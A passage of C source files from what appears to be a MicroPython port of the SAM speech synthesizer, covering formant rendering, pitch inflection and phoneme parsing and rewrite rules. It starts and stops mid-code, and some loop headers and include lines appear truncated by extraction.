pos48155: // decrement the remaining length of the glottal pulse glottal_pulse--; // finished with a glottal pulse? if(glottal_pulse == 0) { pos48159: // fetch the next glottal pulse length A = sam->render.pitch[Y]; glottal_pulse = A; A = A - (A>>2); count = A; // reset the formant wave generators to keep them in // sync with the glottal pulse phase1 = 0; phase2 = 0; phase3 = 0; continue; } // decrement the count count--; // is the count non-zero and the sampled flag is zero? if((count != 0) || (sample == 0)) { // reset the phase of the formants to match the pulse phase1 += sam->render.freq_amp[Y].freq1; phase2 += sam->render.freq_amp[Y].freq2; phase3 += sam->render.freq_amp[Y].freq3; continue; } // voiced sampled phonemes interleave the sample with the // glottal pulse. The sample flag is non-zero, so render // the sample for the phoneme. Y = RenderSample(sam, &mem66, sample, Y); goto pos48159; } } // Create a rising or falling inflection 30 frames prior to // index X. A rising inflection is used for questions, and // a falling inflection is used for statements. void AddInflection(sam_memory* sam, unsigned char mem48, unsigned char phase1, unsigned char punctuation) { unsigned char A = punctuation; int Atemp = A; // backup 30 frames A = A - 30; // if index is before buffer, point to start of buffer if (Atemp <= 30) A=0; unsigned char X = A; // FIXME: Explain this fix better, it's not obvious // ML : A =, fixes a problem with invalid pitch with '.' while( (A=sam->render.pitch[X]) == 127) X++; while(1) { // add the inflection direction A += mem48; phase1 = A; // set the inflection sam->render.pitch[X] = A; do { // increment the position X++; // exit if the punctuation has been reached if (X == punctuation) return; //goto pos47615; } while (sam->render.pitch[X] == 255); A = phase1; } } static inline unsigned char trans(unsigned char mem39212, unsigned char mem39213) { return (mem39212*mem39213) >> 7; } /* SAM's voice can be altered by changing the frequencies of the mouth formant (F1) and the throat formant (F2). Only the voiced phonemes (5-29 and 48-53) are altered. */ static const unsigned char recalculate[] = { 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; static const unsigned char mouth_formants[] = { 0, 0, 0, 0, 0, 10, 14, 19, 24, 27, 23, 21, 16, 20, 14, 18, 14, 18, 18, 16, 13, 15, 11, 18, 14, 11, 9, 6, 6, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 27, 21, 27, 18, 13, 0, }; unsigned char get_freq1(unsigned char pos, unsigned char mouth) { if (recalculate[pos]) { return trans(mouth, mouth_formants[pos]); } else { return freq1data[pos]; } } static const unsigned char throat_formants[] = { 0, 0, 0, 0, 0, 84, 73, 67, 63, 40, 44, 31, 37, 45, 73, 49, 36, 30, 51, 37, 29, 69, 24, 50, 30, 24, 83, 46, 54, 86, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 72, 39, 31, 43, 30, 34, 0, }; unsigned char get_freq2(unsigned char pos, unsigned char throat) { if (recalculate[pos]) { return trans(throat, throat_formants[pos]); } else { return freq2data[pos]; } } ================================================ FILE: micropython/source/lib/sam/render.h ================================================ #ifndef RENDER_H #define RENDER_H #include "sam.h" void Render(sam_memory* sam); void SetMouthThroat(unsigned char mouth, unsigned char throat); void OutputFrames(sam_memory *sam, unsigned char frame_count); /** Scaling c64 rate to sample rate */ // Rate for 22.05kHz // #define SCALE_RATE(x) (((x)*1310)>>16) // Rate for 7.8125KHz #define SCALE_RATE(x) (((x)*420)>>16) #endif ================================================ FILE: micropython/source/lib/sam/sam.c ================================================ #include #include #include #include "debug.h" #include "sam.h" #include "render.h" #include "SamTabs.h" extern int debug; char *sam_error = "OK"; // contains the final soundbuffer int bufferpos=0; void SetInput(sam_memory* sam, const char *_input, unsigned int l) { sam->prepare.input = _input; sam->prepare.input_length = l; } void Init(sam_memory* sam); int Parser1(sam_memory* sam); void Parser2(sam_memory* sam); int SAMMain(sam_memory* sam); void CopyStress(sam_memory* sam); void SetPhonemeLength(sam_memory* sam); void AdjustLengths(sam_memory* sam); void Code41240(sam_memory* sam); void Insert(sam_memory* sam, unsigned char position, unsigned char index, unsigned char length, unsigned char stress, unsigned char pitch); void InsertBreath(sam_memory* sam); void PrepareOutput(sam_memory* sam); // 168=pitches // 169=frequency1 // 170=frequency2 // 171=frequency3 // 172=amplitude1 // 173=amplitude2 // 174=amplitude3 void Init(sam_memory* sam) { int i; bufferpos = 0; /* freq2data = &mem[45136]; freq1data = &mem[45056]; freq3data = &mem[45216]; */ //pitches = &mem[43008]; /* frequency1 = &mem[43264]; frequency2 = &mem[43520]; frequency3 = &mem[43776]; */ /* amplitude1 = &mem[44032]; amplitude2 = &mem[44288]; amplitude3 = &mem[44544]; */ //phoneme = &mem[39904]; /* ampl1data = &mem[45296]; ampl2data = &mem[45376]; ampl3data = &mem[45456]; */ for(i=0; iprepare.phoneme_input[i].stress = 0; sam->prepare.phoneme_input[i].length = 0; } for(i=0; icommon.phoneme_output[i].index = 0; sam->common.phoneme_output[i].stress = 0; sam->common.phoneme_output[i].length = 0; sam->common.phoneme_output[i].pitch = 0; } sam->prepare.phoneme_input[INPUT_PHONEMES-1].index = PHONEME_END; //to prevent buffer overflow // ML : changed from 32 to 255 to stop freezing with long inputs sam_error = "OK"; } void ClearInput(sam_memory* sam) { sam->prepare.input = NULL; sam->prepare.input_length = 0; } int SAMMain(sam_memory* sam) { Init(sam); int err = !Parser1(sam); ClearInput(sam); if (err) return 0; if (debug) { PrintPhonemes("Input phonemes", sam->prepare.phoneme_input); } Parser2(sam); CopyStress(sam); SetPhonemeLength(sam); AdjustLengths(sam); Code41240(sam); unsigned char X = 0; do { unsigned char A = sam->prepare.phoneme_input[X].index; if (A > 80) { if (A == PHONEME_END) break; sam_error = "INTERNAL ERROR: Illegal phoneme index"; return 0; } X++; } while (X < INPUT_PHONEMES); if (debug) printf("Insert Breadth\r\n"); InsertBreath(sam); if (debug) { PrintPhonemes("Processed phonemes", sam->prepare.phoneme_input); } PrepareOutput(sam); if (strcmp(sam_error, "OK")) return 0; return 1; } //void Code48547() void PrepareOutput(sam_memory* sam) { unsigned char A = 0; unsigned char X = 0; unsigned char Y = 0; //pos48551: while(1) { A = sam->prepare.phoneme_input[X].index; if (A == PHONEME_END) { sam->common.phoneme_output[Y].index = PHONEME_END; Render(sam); return; } if (A == PHONEME_END_BREATH) { X++; int temp = X; //mem[48546] = X; sam->common.phoneme_output[Y].index = PHONEME_END; Render(sam); //X = mem[48546]; X=temp; Y = 0; continue; } if (A == 0) { X++; continue; } sam->common.phoneme_output[Y].index = A; sam->common.phoneme_output[Y].length = sam->prepare.phoneme_input[X].length; sam->common.phoneme_output[Y].stress = sam->prepare.phoneme_input[X].stress; sam->common.phoneme_output[Y].pitch = sam->prepare.phoneme_input[X].pitch; X++; Y++; } } void InsertBreath(sam_memory* sam) { unsigned char index = 0; unsigned char frames = 0; while(1) { unsigned char phoneme_id = sam->prepare.phoneme_input[index].index; if (phoneme_id == PHONEME_END) return; frames += sam->prepare.phoneme_input[index].length; if (frames >= RENDER_FRAMES-16) { index++; Insert(sam, index, 0, 0, 0, 0); frames = 0; index++; Insert(sam, index, PHONEME_END_BREATH, 0, 0, 0); frames = 0; } // If phoneme is punctuation, then insert a breath after it. else if (phoneme_id < PHONEME_END_BREATH && (flags2[phoneme_id]&1)) { index++; Insert(sam, index, PHONEME_END_BREATH, 0, 0, 0); frames = 0; } index++; } } // Iterates through the phoneme buffer, copying the stress value from // the following phoneme under the following circumstance: // 1. The current phoneme is voiced, excluding plosives and fricatives // 2. The following phoneme is voiced, excluding plosives and fricatives, and // 3. The following phoneme is stressed // // In those cases, the stress value+1 from the following phoneme is copied. // // For example, the word LOITER is represented as LOY5TER, with as stress // of 5 on the diphtong OY. This routine will copy the stress value of 6 (5+1) // to the L that precedes it. //void Code41883() void CopyStress(sam_memory* sam) { // loop thought all the phonemes to be output unsigned char pos=0; //mem66 while(1) { // get the phomene unsigned char Y = sam->prepare.phoneme_input[pos].index; // exit at end of buffer if (Y == PHONEME_END) return; // if CONSONANT_FLAG set, skip - only vowels get stress if ((flags[Y] & 64) == 0) {pos++; continue;} // get the next phoneme Y = sam->prepare.phoneme_input[pos+1].index; if (Y == PHONEME_END) //prevent buffer overflow { pos++; continue; } else // if the following phoneme is a vowel, skip if ((flags[Y] & 128) == 0) {pos++; continue;} // get the stress value at the next position Y = sam->prepare.phoneme_input[pos+1].stress; // if next phoneme is not stressed, skip if (Y == 0) {pos++; continue;} // if next phoneme is not a VOWEL OR ER, skip if ((Y & 128) != 0) {pos++; continue;} // copy stress from prior phoneme to this one sam->prepare.phoneme_input[pos].stress = Y+1; // advance pointer pos++; } } //void Code41014() void Insert(sam_memory* sam, unsigned char position/*var57*/, unsigned char index, unsigned char length, unsigned char stress, unsigned char pitch) { int i; for(i=INPUT_PHONEMES-3; i >= position; i--) // ML : always keep last safe-guarding. { sam->prepare.phoneme_input[i+1] = sam->prepare.phoneme_input[i]; } sam->prepare.phoneme_input[position].index = index; sam->prepare.phoneme_input[position].length = length; sam->prepare.phoneme_input[position].stress = stress; sam->prepare.phoneme_input[position].pitch = pitch; return; } // The input[] buffer contains a string of phonemes and stress markers along // the lines of: // // DHAX KAET IHZ AH5GLIY. <0x9B> // // The byte 0x9B marks the end of the buffer. Some phonemes are 2 bytes // long, such as "DH" and "AX". Others are 1 byte long, such as "T" and "Z". // There are also stress markers, such as "5" and ".". // // The first character of the phonemes are stored in the table signInputTable1[]. // The second character of the phonemes are stored in the table signInputTable2[]. // The stress characters are arranged in low to high stress order in stressInputTable[]. // // The following process is used to parse the input[] buffer: // // Repeat until the <0x9B> character is reached: // // First, a search is made for a 2 character match for phonemes that do not // end with the '*' (wildcard) character. On a match, the index of the phoneme // is added to phonemeIndex[] and the buffer position is advanced 2 bytes. // // If this fails, a search is made for a 1 character match against all // phoneme names ending with a '*' (wildcard). If this succeeds, the // phoneme is added to phonemeIndex[] and the buffer position is advanced // 1 byte. // // If this fails, search for a 1 character match in the stressInputTable[]. // If this succeeds, the stress value is placed in the last stress[] table // at the same index of the last added phoneme, and the buffer position is // advanced by 1 byte. // // If this fails, return a 0. // // On success: // // 1. phonemeIndex[] will contain the index of all the phonemes. // 2. The last index in phonemeIndex[] will be PHONEME_END. // 3. stress[] will contain the stress value for each phoneme // input[] holds the string of phonemes, each two bytes wide // signInputTable1[] holds the first character of each phoneme // signInputTable2[] holds te second character of each phoneme // phonemeIndex[] holds the indexes of the phonemes after parsing input[] // // The parser scans through the input[], finding the names of the phonemes // by searching signInputTable1[] and signInputTable2[]. On a match, it // copies the index of the phoneme into the phonemeIndexTable[]. // // The character <0x9B> marks the end of text in input[]. When it is reached, // the index PHONEME_END is placed at the end of the phonemeIndexTable[], and the // function returns with a 1 indicating success. int Parser1(sam_memory* sam) { int i; unsigned char sign1; unsigned char sign2; unsigned char position = 0; unsigned char X = 0; unsigned char A = 0; unsigned char Y = 0; // CLEAR THE STRESS TABLE for(i=0; iprepare.phoneme_input[i].stress = 0; // THIS CODE MATCHES THE PHONEME LETTERS TO THE TABLE // pos41078: while(1) { if (position >= INPUT_PHONEMES) { // Run out of space for phonemes -- This won't happen with a string from the reciter, // but can happen with manually created phonetic input. sam_error = "Phonemes too long"; return 0; } // TEST FOR END OF STRING if (X >= sam->prepare.input_length) { // MARK ENDPOINT AND RETURN sam->prepare.phoneme_input[position].index = PHONEME_END; //mark endpoint // REACHED END OF PHONEMES, SO EXIT return 1; //all ok } // GET THE FIRST CHARACTER FROM THE PHONEME BUFFER sign1 = sam->prepare.input[X]; if (sign1 > 96) sign1 -= 32; // GET THE NEXT CHARACTER FROM THE BUFFER X++; if (X == sam->prepare.input_length) { sign2 = 0; } else { sign2 = sam->prepare.input[X]; } if (sign2 > 96) sign2 -= 32; if (sign1 == '#') { unsigned pitch = sign2 - '0'; if (pitch > 9) { sam_error = "Illegal pitch"; return 0; } X++; while (X < sam->prepare.input_length && ((unsigned)(sam->prepare.input[X] - '0')) < 10) { pitch *= 10; pitch += sam->prepare.input[X] - '0'; X++; } if (pitch > 255) { sam_error = "Illegal pitch"; return 0; } sam->common.pitch = pitch; continue; } // NOW sign1 = FIRST CHARACTER OF PHONEME, AND sign2 = SECOND CHARACTER OF PHONEME // TRY TO MATCH PHONEMES ON TWO TWO-CHARACTER NAME // IGNORE PHONEMES IN TABLE ENDING WITH WILDCARDS // SET INDEX TO 0 Y = 0; pos41095: // GET FIRST CHARACTER AT POSITION Y IN signInputTable // --> should change name to PhonemeNameTable1 A = signInputTable1[Y]; // FIRST CHARACTER MATCHES? if (A == sign1) { // GET THE CHARACTER FROM THE PhonemeSecondLetterTable A = signInputTable2[Y]; // NOT A SPECIAL AND MATCHES SECOND CHARACTER? if ((A != '*') && (A == sign2)) { // STORE THE INDEX OF THE PHONEME INTO THE phomeneIndexTable sam->prepare.phoneme_input[position].index = Y; sam->prepare.phoneme_input[position].pitch = sam->common.pitch; // ADVANCE THE POINTER TO THE phonemeIndexTable position++; // ADVANCE THE POINTER TO THE phonemeInputBuffer X++; // CONTINUE PARSING continue; } } // NO MATCH, TRY TO MATCH ON FIRST CHARACTER TO WILDCARD NAMES (ENDING WITH '*') // ADVANCE TO THE NEXT POSITION Y++; // IF NOT END OF TABLE, CONTINUE if (Y != 81) goto pos41095; // REACHED END OF TABLE WITHOUT AN EXACT (2 CHARACTER) MATCH. // THIS TIME, SEARCH FOR A 1 CHARACTER MATCH AGAINST THE WILDCARDS // RESET THE INDEX TO POINT TO THE START OF THE PHONEME NAME TABLE Y = 0; pos41134: // DOES THE PHONEME IN THE TABLE END WITH '*'? if (signInputTable2[Y] == '*') { // DOES THE FIRST CHARACTER MATCH THE FIRST LETTER OF THE PHONEME if (signInputTable1[Y] == sign1) { // SAVE THE POSITION AND MOVE AHEAD sam->prepare.phoneme_input[position].index = Y; sam->prepare.phoneme_input[position].pitch = sam->common.pitch; // ADVANCE THE POINTER position++; // CONTINUE THROUGH THE LOOP continue; } } Y++; if (Y != 81) goto pos41134; //81 is size of PHONEME NAME table // FAILED TO MATCH WITH A WILDCARD. ASSUME THIS IS A STRESS // CHARACTER. SEARCH THROUGH THE STRESS TABLE // SET INDEX TO POSITION 8 (END OF STRESS TABLE) Y = 8; // WALK BACK THROUGH TABLE LOOKING FOR A MATCH while( (sign1 != stressInputTable[Y]) && (Y>0)) { // DECREMENT INDEX Y--; } // REACHED THE END OF THE SEARCH WITHOUT BREAKING OUT OF LOOP? if (Y == 0) { //mem[39444] = X; //41181: JSR 42043 //Error // FAILED TO MATCH ANYTHING, RETURN 0 ON FAILURE sam_error = "Phoneme not understood"; return 0; } // SET THE STRESS FOR THE PRIOR PHONEME sam->prepare.phoneme_input[position-1].stress = Y; } //while } //change phonemelength depedendent on stress //void Code41203() void SetPhonemeLength(sam_memory* sam) { unsigned char A; int position = 0; while(sam->prepare.phoneme_input[position].index != PHONEME_END ) { A = sam->prepare.phoneme_input[position].stress; //41218: BMI 41229 if ((A == 0) || ((A&128) != 0)) { sam->prepare.phoneme_input[position].length = phonemeLengthTable[sam->prepare.phoneme_input[position].index]; } else { sam->prepare.phoneme_input[position].length = phonemeStressedLengthTable[sam->prepare.phoneme_input[position].index]; } position++; } } void Code41240(sam_memory* sam) { unsigned char pos=0; while(sam->prepare.phoneme_input[pos].index != PHONEME_END) { unsigned char index; //register AC unsigned char X = pos; index = sam->prepare.phoneme_input[pos].index; if ((flags[index]&2) == 0) { pos++; continue; } else if ((flags[index]&1) == 0) { Insert(sam, pos+1, index+1, phonemeLengthTable[index+1], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch); Insert(sam, pos+2, index+2, phonemeLengthTable[index+2], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch); pos += 3; continue; } unsigned char A; do { X++; A = sam->prepare.phoneme_input[X].index; } while(A==0); if (A != PHONEME_END) { if ((flags[A] & 8) != 0) {pos++; continue;} if ((A == 36) || (A == 37)) {pos++; continue;} // '/H' '/X' } Insert(sam, pos+1, index+1, phonemeLengthTable[index+1], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch); Insert(sam, pos+2, index+2, phonemeLengthTable[index+2], sam->prepare.phoneme_input[pos].stress, sam->prepare.phoneme_input[pos].pitch); pos += 3; }; } // Rewrites the phonemes using the following rules: // // -> WX // -> YX // UL -> AX L // UM -> AX M // -> Q // T R -> CH R // D R -> J R // R -> RX // L -> LX // G S -> G Z // K -> KX // G -> GX // S P -> S B // S T -> S D // S K -> S G // S KX -> S GX // UW -> UX // CH -> CH CH' (CH requires two phonemes to represent it) // J -> J J' (J requires two phonemes to represent it) // T -> DX // D -> DX //void Code41397() void Parser2(sam_memory* sam) { unsigned char pos = 0; //mem66; unsigned char mem58 = 0; // Loop through phonemes while(1) { // SET X TO THE CURRENT POSITION unsigned char X = pos; // GET THE PHONEME AT THE CURRENT POSITION unsigned char A = sam->prepare.phoneme_input[pos].index; // DEBUG: Print phoneme and index // DEBUG: if (debug && A != PHONEME_END) printf("%d: %c%c\n", X, signInputTable1[A], signInputTable2[A]); // Is phoneme pause or pitch shift? if (A == 0) { // Move ahead to the pos++; continue; } // If end of phonemes flag reached, exit routine if (A == PHONEME_END) return; // Copy the current phoneme index to Y unsigned char Y = A; // RULE: // -> WX // -> YX // Example: OIL, COW // Check for DIPHTONG if ((flags[A] & 16) == 0) goto pos41457; // Not a diphthong. Get the stress mem58 = sam->prepare.phoneme_input[pos].stress; // End in IY sound? A = flags[Y] & 32; // If ends with IY, use YX, else use WX if (A == 0) A = 20; else A = 21; // 'WX' = 20 'YX' = 21 //pos41443: // Insert at WX or YX following, copying the stress //DEBUG: if (A==20) printf("RULE: insert WX following diphtong NOT ending in IY sound\n"); //DEBUG: if (A==21) printf("RULE: insert YX following diphtong ending in IY sound\n"); Insert(sam, pos+1, A, 0, mem58, sam->prepare.phoneme_input[pos].pitch); X = pos; // Jump to ??? goto pos41749; pos41457: // RULE: // UL -> AX L // Example: MEDDLE // Get phoneme A = sam->prepare.phoneme_input[X].index; // Skip this rule if phoneme is not UL if (A != 78) goto pos41487; // 'UL' A = 24; // 'L' //change 'UL' to 'AX L' //DEBUG: printf("RULE: UL -> AX L\n"); pos41466: // Get current phoneme stress mem58 = sam->prepare.phoneme_input[X].stress; // Change UL to AX sam->prepare.phoneme_input[X].index = 13; // 'AX' // Perform insert. Note code below may jump up here with different values Insert(sam, X+1, A, 0, mem58, sam->prepare.phoneme_input[X].pitch); pos++; // Move to next phoneme continue; pos41487: // RULE: // UM -> AX M // Example: ASTRONOMY // Skip rule if phoneme != UM if (A != 79) goto pos41495; // 'UM' // Jump up to branch - replaces current phoneme with AX and continues A = 27; // 'M' //change 'UM' to 'AX M' //DEBUG: printf("RULE: UM -> AX M\n"); goto pos41466; pos41495: // RULE: // UN -> AX N // Example: FUNCTION // Skip rule if phoneme != UN if (A != 80) goto pos41503; // 'UN' // Jump up to branch - replaces current phoneme with AX and continues A = 28; // 'N' //change UN to 'AX N' //DEBUG: printf("RULE: UN -> AX N\n"); goto pos41466; pos41503: // RULE: // -> Q // EXAMPLE: AWAY EIGHT Y = A; // VOWEL set? A = flags[A] & 128; // Skip if not a vowel if (A != 0) { // Get the stress A = sam->prepare.phoneme_input[X].stress; // If stressed... if (A != 0) { // Get the following phoneme X++; A = sam->prepare.phoneme_input[X].index; // If following phoneme is a pause if (A == 0) { // Get the phoneme following pause X++; Y = sam->prepare.phoneme_input[X].index; // Check for end of buffer flag if (Y == PHONEME_END) //buffer overflow // ??? Not sure about these flags A = 65&128; else // And VOWEL flag to current phoneme's flags A = flags[Y] & 128; // If following phonemes is not a pause if (A != 0) { // If the following phoneme is not stressed A = sam->prepare.phoneme_input[X].stress; if (A != 0) { // Insert a glottal stop and move forward //DEBUG: printf("RULE: Insert glottal stop between two stressed vowels with space between them\n"); // 31 = 'Q' Insert(sam, X, 31, 0, 0, 0); pos++; continue; } } } } } // RULES FOR PHONEMES BEFORE R // T R -> CH R // Example: TRACK // Get current position and phoneme X = pos; A = sam->prepare.phoneme_input[pos].index; if (A != 23) goto pos41611; // 'R' // Look at prior phoneme X--; A = sam->prepare.phoneme_input[pos-1].index; //pos41567: if (A == 69) // 'T' { // Change T to CH //DEBUG: printf("RULE: T R -> CH R\n"); sam->prepare.phoneme_input[pos-1].index = 42; goto pos41779; } // RULES FOR PHONEMES BEFORE R // D R -> J R // Example: DRY // Prior phonemes D? if (A == 57) // 'D' { // Change D to J sam->prepare.phoneme_input[pos-1].index = 44; //DEBUG: printf("RULE: D R -> J R\n"); goto pos41788; } // RULES FOR PHONEMES BEFORE R // R -> RX // Example: ART // If vowel flag is set change R to RX A = flags[A] & 128; //DEBUG: printf("RULE: R -> RX\n"); if (A != 0) sam->prepare.phoneme_input[pos].index = 18; // 'RX' // continue to next phoneme pos++; continue; pos41611: // RULE: // L -> LX // Example: ALL // Is phoneme L? if (A == 24) // 'L' { // If prior phoneme does not have VOWEL flag set, move to next phoneme if ((flags[sam->prepare.phoneme_input[pos-1].index] & 128) == 0) {pos++; continue;} // Prior phoneme has VOWEL flag set, so change L to LX and move to next phoneme //DEBUG: printf("RULE: L -> LX\n"); sam->prepare.phoneme_input[X].index = 19; // 'LX' pos++; continue; } // RULE: // G S -> G Z // // Can't get to fire - // 1. The G -> GX rule intervenes // 2. Reciter already replaces GS -> GZ // Is current phoneme S? if (A == 32) // 'S' { // If prior phoneme is not G, move to next phoneme if (sam->prepare.phoneme_input[pos-1].index != 60) {pos++; continue;} // Replace S with Z and move on //DEBUG: printf("RULE: G S -> G Z\n"); sam->prepare.phoneme_input[pos].index = 38; // 'Z' pos++; continue; } // RULE: // K -> KX // Example: COW // Is current phoneme K? if (A == 72) // 'K' { // Get next phoneme Y = sam->prepare.phoneme_input[pos+1].index; // If at end, replace current phoneme with KX if (Y == PHONEME_END) sam->prepare.phoneme_input[pos].index = 75; // ML : prevents an index out of bounds problem else { // VOWELS AND DIPHTONGS ENDING WITH IY SOUND flag set? A = flags[Y] & 32; //DEBUG: if (A==0) printf("RULE: K -> KX \n"); // Replace with KX if (A == 0) sam->prepare.phoneme_input[pos].index = 75; // 'KX' } } else // RULE: // G -> GX // Example: GO // Is character a G? if (A == 60) // 'G' { // Get the following character unsigned char index = sam->prepare.phoneme_input[pos+1].index; // At end of buffer? if (index == PHONEME_END) //prevent buffer overflow { pos++; continue; } else // If diphtong ending with YX, move continue processing next phoneme if ((flags[index] & 32) != 0) {pos++; continue;} // replace G with GX and continue processing next phoneme //DEBUG: printf("RULE: G -> GX \n"); sam->prepare.phoneme_input[pos].index = 63; // 'GX' pos++; continue; } // RULE: // S P -> S B // S T -> S D // S K -> S G // S KX -> S GX // Examples: SPY, STY, SKY, SCOWL Y = sam->prepare.phoneme_input[pos].index; //pos41719: // Replace with softer version? A = flags[Y] & 1; if (A == 0) goto pos41749; A = sam->prepare.phoneme_input[pos-1].index; if (A != 32) // 'S' { A = Y; goto pos41812; } // Replace with softer version //DEBUG: printf("RULE: S* %c%c -> S* %c%c\n", signInputTable1[Y], signInputTable2[Y],signInputTable1[Y-12], signInputTable2[Y-12]); sam->prepare.phoneme_input[pos].index = Y-12; pos++; continue; pos41749: // RULE: // UW -> UX // // Example: NEW, DEW, SUE, ZOO, THOO, TOO // UW -> UX A = sam->prepare.phoneme_input[X].index; if (A == 53) // 'UW' { // ALVEOLAR flag set? Y = sam->prepare.phoneme_input[X-1].index; A = flags2[Y] & 4; // If not set, continue processing next phoneme if (A == 0) {pos++; continue;} //DEBUG: printf("RULE: UW -> UX\n"); sam->prepare.phoneme_input[X].index = 16; pos++; continue; } pos41779: // RULE: // CH -> CH CH' (CH requires two phonemes to represent it) // Example: CHEW if (A == 42) // 'CH' { // pos41783: //DEBUG: printf("CH -> CH CH+1\n"); Insert(sam, X+1, A+1, 0, sam->prepare.phoneme_input[X].stress, sam->prepare.phoneme_input[X].pitch); pos++; continue; } pos41788: // RULE: // J -> J J' (J requires two phonemes to represent it) // Example: JAY if (A == 44) // 'J' { //DEBUG: printf("J -> J J+1\n"); Insert(sam, X+1, A+1, 0, sam->prepare.phoneme_input[X].stress, sam->prepare.phoneme_input[X].pitch); pos++; continue; } // Jump here to continue pos41812: // RULE: Soften T following vowel // NOTE: This rule fails for cases such as "ODD" // T -> DX // D -> DX // Example: PARTY, TARDY // Past this point, only process if phoneme is T or D if (A != 69) // 'T' if (A != 57) {pos++; continue;} // 'D' //pos41825: // If prior phoneme is not a vowel, continue processing phonemes if ((flags[sam->prepare.phoneme_input[X-1].index] & 128) == 0) {pos++; continue;} // Get next phoneme X++; A = sam->prepare.phoneme_input[X].index; //pos41841 // Is the next phoneme a pause? if (A != 0) { // If next phoneme is not a pause, continue processing phonemes if ((flags[A] & 128) == 0) {pos++; continue;} // If next phoneme is stressed, continue processing phonemes // FIXME: How does a pause get stressed? if (sam->prepare.phoneme_input[X].stress != 0) {pos++; continue;} //pos41856: // Set phonemes to DX //DEBUG: printf("RULE: Soften T or D following vowel or ER and preceding a pause -> DX\n"); sam->prepare.phoneme_input[pos].index = 30; // 'DX' } else { A = sam->prepare.phoneme_input[X+1].index; if (A == PHONEME_END) //prevent buffer overflow A = 65 & 128; else // Is next phoneme a vowel or ER? A = flags[A] & 128; //DEBUG: if (A != 0) printf("RULE: Soften T or D following vowel or ER and preceding a pause -> DX\n"); if (A != 0) sam->prepare.phoneme_input[pos].index = 30; // 'DX' } pos++; } // while } // Applies various rules that adjust the lengths of phonemes // // Lengthen or between and by 1.5 // - decrease length by 1 // - decrease vowel by 1/8th // - increase vowel by 1/2 + 1 // - set nasal = 5, consonant = 6 // {optional silence} - shorten both to 1/2 + 1 // - decrease by 2 //void Code48619() void AdjustLengths(sam_memory* sam) { // LENGTHEN VOWELS PRECEDING PUNCTUATION // // Search for punctuation. If found, back up to the first vowel, then // process all phonemes between there and up to (but not including) the punctuation. // If any phoneme is found that is a either a fricative or voiced, the duration is // increased by (length * 1.5) + 1 // loop index unsigned char X = 0; unsigned char index; unsigned char mem56; // iterate through the phoneme list unsigned char loopIndex=0; while(1) { // get a phoneme index = sam->prepare.phoneme_input[X].index; // exit loop if end on buffer token if (index == PHONEME_END) break; // not punctuation? if((flags2[index] & 1) == 0) { // skip X++; continue; } // hold index loopIndex = X; // Loop backwards from this point pos48644: // back up one phoneme X--; // stop once the beginning is reached if(X == 0) break; // get the preceding phoneme index = sam->prepare.phoneme_input[X].index; if (index != PHONEME_END) //inserted to prevent access overrun if((flags[index] & 128) == 0) goto pos48644; // if not a vowel, continue looping //pos48657: do { // test for vowel index = sam->prepare.phoneme_input[X].index; if (index != PHONEME_END)//inserted to prevent access overrun // test for fricative/unvoiced or not voiced if(((flags2[index] & 32) == 0) || ((flags[index] & 4) != 0)) //nochmal berprfen { //A = flags[Y] & 4; //if(A == 0) goto pos48688; // get the phoneme length unsigned char A = sam->prepare.phoneme_input[X].length; // change phoneme length to (length * 1.5) + 1 A = (A >> 1) + A + 1; //DEBUG: printf("RULE: Lengthen or between and by 1.5\n"); //DEBUG: printf("PRE\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); sam->prepare.phoneme_input[X].length = A; //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", X, signInputTable1[sam->prepare.phoneme_input[X].index], signInputTable2[sam->prepare.phoneme_input[X].index], sam->prepare.phoneme_input[X].length); } // keep moving forward X++; } while (X != loopIndex); // if (X != loopIndex) goto pos48657; X++; } // while // Similar to the above routine, but shorten vowels under some circumstances // Loop throught all phonemes loopIndex = 0; //pos48697 while(1) { // get a phoneme X = loopIndex; index = sam->prepare.phoneme_input[X].index; // exit routine at end token if (index == PHONEME_END) return; // vowel? unsigned char A = flags[index] & 128; if (A != 0) { // get next phoneme X++; index = sam->prepare.phoneme_input[X].index; // get flags if (index == PHONEME_END) mem56 = 65; // use if end marker else mem56 = flags[index]; // not a consonant if ((flags[index] & 64) == 0) { // RX or LX? if ((index == 18) || (index == 19)) // 'RX' & 'LX' { // get the next phoneme X++; index = sam->prepare.phoneme_input[X].index; // next phoneme a consonant? if ((flags[index] & 64) != 0) { // RULE: RX | LX //DEBUG: printf("RULE: - decrease length by 1\n"); //DEBUG: printf("PRE\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", loopIndex, signInputTable1[sam->prepare.phoneme_input[loopIndex].index], signInputTable2[sam->prepare.phoneme_input[loopIndex].index], sam->prepare.phoneme_input[loopIndex].length); // decrease length of vowel by 1 frame sam->prepare.phoneme_input[loopIndex].length--; //DEBUG: printf("POST\n"); //DEBUG: printf("phoneme %d (%c%c) length %d\n", loopIndex, signInputTable1[sam->prepare.phoneme_input[loopIndex].index], signInputTable2[sam->prepare.phoneme_input[loopIndex].index], sam->prepare.phoneme_input[loopIndex].length); } // move ahead loopIndex++; continue; } // move ahead loopIndex++; continue; } // Got here if not // not voiced if ((mem56 & 4) == 0) { // Unvoiced // *, .*, ?*, ,*, -*, DX, S*, SH, F*, TH, /H, /X, CH, P*, T*, K*, KX // not an unvoiced plosive? if((mem56 & 1) == 0) { // move ahead loopIndex++; continue; } // P*, T*, K*, KX // RULE: // // move back X--; //DEBUG: printf("RULE: - decrease vowel by 1/8th\n"); //DEBUG: printf("PRE\n"); //DEBUG: printf("phoneme %d (%c%c) 